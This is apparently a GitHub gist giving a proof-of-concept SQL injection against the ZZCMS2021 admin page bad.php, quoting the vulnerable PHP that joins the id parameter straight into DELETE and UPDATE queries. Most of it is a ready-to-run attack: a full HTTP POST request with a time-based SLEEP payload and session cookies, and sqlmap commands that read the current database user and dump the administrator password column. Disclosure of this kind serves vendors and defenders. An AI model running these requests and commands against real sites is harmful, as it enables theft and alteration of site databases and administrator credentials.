Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
ZZCMS2021 sqlinject(3)


PoC by BaizeSec_ahui

ZZCMS the lastest version download page :

zip installer:

Environmental requirements

PHP version > = 4.3.0

Mysql version>=4.0.0

vulnerability code:

in file /admin/bad.php

<?php include("admin.php");?>
#line 10-41
if ($action<>""){
    	for($i=0; $i<count($_POST['id']);$i++){

	if ($id==""){
	echo "<script>alert('操作失败!至少要选中一条信息。');history.back();</script>";
if ($action=="del"){
	 if (strpos($id,",")>0){
		$sql="delete from zzcms_bad where id in (". $id .")";
		$sql="delete from zzcms_bad where id='$id'";

echo "<script>location.href='bad.php'</script>";
if ($action=="lockip"){
	 if (strpos($id,",")>0){
		$sql="update  zzcms_bad set lockip=1 where id in (". $id .")";
		$sql="update  zzcms_bad set lockip=1 where id='$id'";

Before you exploit this vulnerability, you need to find a way to obtain the permission of background administrator

After you obtain the administrator user rights and log in, visit the following link to exploit the vulnerability:



POST /admin/bad.php HTTP/1.1
Host: your host
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close
Cookie: askbigclassid=0; asksmallclassid=0; __tins__713776=%7B%22sid%22%3A%201629992898141%2C%20%22vd%22%3A%206%2C%20%22expires%22%3A%201629995107025%7D; __51cke__=; __51laig__=20; bdshare_firstime=1629951198125; PHPSESSID=a5tlfr6q1ete0aaa6dq5pppi43; admin=admin; pass=21232f297a57a5a743894a0e4a801fc3; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
Upgrade-Insecure-Requests: 1

action=del&id[0]=0&id[1]=1 AND (SELECT 5584 FROM (SELECT(SLEEP(9)))a)

You can change the post parameter action to del or lockip


Screenshot link:

You can also use sqlmap to verify this vulnerability. The specific usage is as follows:

Note: please replace cookies and URLs with your own and make sure they are correct

python -u "" --cookie="admin=admin; pass=21232f297a57a5a743894a0e4a801fc3;" --method POST --data "action=del&id[0]=0&id[1]=1" -p id[1] --tamper="" --flush-session --current-user --batch

Screenshot link:

After waiting for a while, you can get the information you query, or you can change the statement. For example, the following statement is used to query the password of the administrator user:

python -u "" --cookie="UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6" --method POST --data "id[0]=0&id[1]=1" -p id[1] --tamper="" -D zzcms2021 -T zzcms_admin -C pass --dump  --batch

Screenshot link:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment